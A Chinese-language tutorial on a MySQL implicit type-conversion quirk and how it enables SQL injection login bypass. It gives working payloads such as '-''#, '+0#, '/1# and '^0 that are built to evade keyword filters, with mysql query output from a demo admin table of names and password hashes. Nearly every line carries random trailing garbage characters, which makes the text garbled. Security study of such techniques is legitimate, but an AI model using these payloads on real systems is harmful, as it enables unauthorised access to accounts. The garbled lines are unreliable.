我们先来看这样一个场景。9 l- H0 O2 B! n# q: u, s8 v
有以下表结构: " Q- [) {2 i1 n
- o1 Z; r0 R0 Nmysql> desc admin;
: ~! O( D; r+ [* X* \2 G+----------+--------------+------+-----+---------+----------------+4 ^- }. g% c: h6 _: l. d' @# p w+ K6 Z
| Field | Type | Null | Key | Default | Extra |
; I3 d5 j+ o1 z1 m) M+----------+--------------+------+-----+---------+----------------+
7 R8 C) |: M1 t% `) m# K! k| id | mediumint(9) | NO | PRI | NULL | auto_increment |
0 l+ m* q/ @: B1 b) V* u| name | char(32) | NO | UNI | NULL | |
' z$ e* H4 C s$ `. o3 ^| password | char(32) | NO | UNI | NULL | |: p8 }, E$ e2 ^9 H
+----------+--------------+------+-----+---------+----------------+. N# g1 k; l1 u& X& q9 ?3 o3 Z
3 rows in set (0.00 sec)/ r3 i* @% `6 j- j0 ]
执行select * from admin;,成功返回所有记录内容。- i; o Q% ]0 K1 w0 j, |
- r, u! P4 m+ @0 a9 s9 B$ M+ N- ?. R& \( p# ~
+----+--------+----------------------------------+
+ u( f- s; ?7 e2 \# f, G( A| id | name | password |
0 r. P# Q. z8 e, e4 o+----+--------+----------------------------------+7 E( e" [9 f* X
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ L# P7 _# Z% B( K/ |& E
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 o8 E! M$ y7 n( ^: y' s# e/ U
| 4 | n00b | ff80e8508d39047460921792273533a4 |
c0 W2 _; g$ [" x; b9 d+----+--------+----------------------------------+
+ o) A O! r( v3 rows in set (0.00 sec). B u. \0 {, }% x, {# H+ @
执行select * from admin where name=”;,没有匹配到任何记录。 ' g8 \$ q* N! O' ?
/ S) h* ~0 x, \mysql> select * from admin where name = '';
5 t+ m O5 x" Q$ g/ |% AEmpty set (0.00 sec)
Z1 u Q/ n; a- {/ Y f) {那么我们来执行select * from admin where name = ”-”;
' I$ c" h3 ^1 K! l9 M' }
+ e' d+ h$ {* k' |' r. O; T
8 h. s6 T( a" P7 v+----+--------+----------------------------------+; m" G. W. o9 n
| id | name | password |
2 q1 n& V0 b/ B) r, }+----+--------+----------------------------------+9 g2 M( P( Q* |( B+ Z+ y& Y2 p
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
3 }1 N6 C% {8 _8 @9 z) B| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
) D. Q k. g8 }9 j2 I) S0 Y9 l+ t# ]4 j| 4 | n00b | ff80e8508d39047460921792273533a4 |# V: b3 _( {" g" x! ~# D; n; u
+----+--------+----------------------------------+
6 i1 p# u8 d3 R" \. Y% T3 rows in set, 3 warnings (0.00 sec)( O+ L d+ K$ G( I2 x& M! ?# y
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 8 I( Y, ?. Y- F: ]* L" s/ E9 t
' j# K4 J: [ K+ S
mysql> show warnings;
: z# L/ E( v# N# M) `8 J. e+---------+------+------------------------------------------- A7 _$ j; k, H' @/ a
| Level | Code | Message8 r3 E% b9 a5 K0 M( _3 {7 z W+ j3 t+ e) D
+---------+------+------------------------------------------ n# E4 Z0 b1 i3 A p' {6 \9 |& }$ h
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
- d- B+ T' N; K0 c7 a5 r| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s; J: D2 K5 L/ K3 Y& o3 X$ G
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
1 h9 @0 u2 K! @4 o+---------+------+------------------------------------------
# m3 [7 a0 L9 X* l1 _3 rows in set (0.00 sec)1 X5 T8 R0 L: R- X& `! `3 d. G
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
) \3 _% R0 a0 w) a
( P, A' c7 ?7 ~& bmysql> select ''-'';
8 Z3 b: O8 A2 ?# `2 O+ f+-------+! ~9 F- C7 r2 Y" D# K/ W1 s: {
| ''-'' |
- T) ^- ~* p7 @, L$ K+-------+7 R0 P1 O5 a m* \2 d
| 0 |
! A- ^& k. O3 {+-------+
1 Z2 k; s4 r# t o1 row in set (0.00 sec). k8 p3 J! J' h: i4 D& q( y
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ( z2 ^. P, _. @8 a% g
8 P) f; u+ f" n8 gmysql> select CAST((select name from admin limit 1,1) as DECIMAL);& }5 B7 l- g% d$ N" |
+-----------------------------------------------------+9 F, G3 w7 z0 i4 m7 I7 t
| CAST((select name from admin limit 1,1) as DECIMAL) |
- h) P& @7 I, G- e) n: C# r+-----------------------------------------------------+
{3 f3 I# V" P! g, F| 0 |
: H4 r. S M' m' P6 V9 B+-----------------------------------------------------+
3 b: R( T+ g7 `& b% D+ G# e5 G1 row in set, 1 warning (0.00 sec)" Y9 @' P* H4 _% g* f6 p2 S m/ [# ^. d7 R
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ) X, ]. B' q: F7 u
" W( t; n- e2 T& y! U" |
SQL注入场景: http://www.sqlzoo.net/hack/ 4 p+ Z* W5 r9 l
( P% y* e6 F$ _; p `+ N1 c9 l
& Y* s- a+ ?! w4 S
* L0 S+ n* F1 Y% E4 i8 U
/ T1 u7 A+ O( M如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ ?0 W5 f, z0 M! A. C J
9 a# H; U1 X8 x; z& T, O, a那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 / M$ Q7 i. `) e' y, f/ g( ~
2 L: ` c0 l) t" W
. Q3 V2 J6 I5 _/ _( x
% ~' q+ B' c- r, f5 ?/ l
: t7 A5 t- J& Z/ R; E/ x仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 , b d4 g* E/ V8 W4 Q. b
; [5 p0 }/ V! H( [2 ] Q* P
W$ p. x: v. }. U# V# A
) i) ^1 x" j: M Z& {6 p除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
% r1 B8 h+ o2 V% l4 P( o7 `& I/ \# N5 u! I. o8 f8 h
& H- m0 ^$ ^7 p5 ~ w
mysql> select ''/1;5 `5 @& Q" y* N
+------+
% T* G$ ~' _1 ]* e7 E| ''/1 |& c7 Q1 U; U" Z# z4 N g. R
+------+( [. _/ t' V4 B/ K) h. E
| 0 |
4 y7 R* Y! Q6 n. T+------+2 N* I+ L' g% N( Y! |5 @! A: t
1 row in set (0.00 sec)
X8 _& a. F- e类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
. O$ r) ^( \2 T; |7 n, L2 `: ^3 P/ `; b. W! F
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
7 k( p- W( i5 e4 U |
|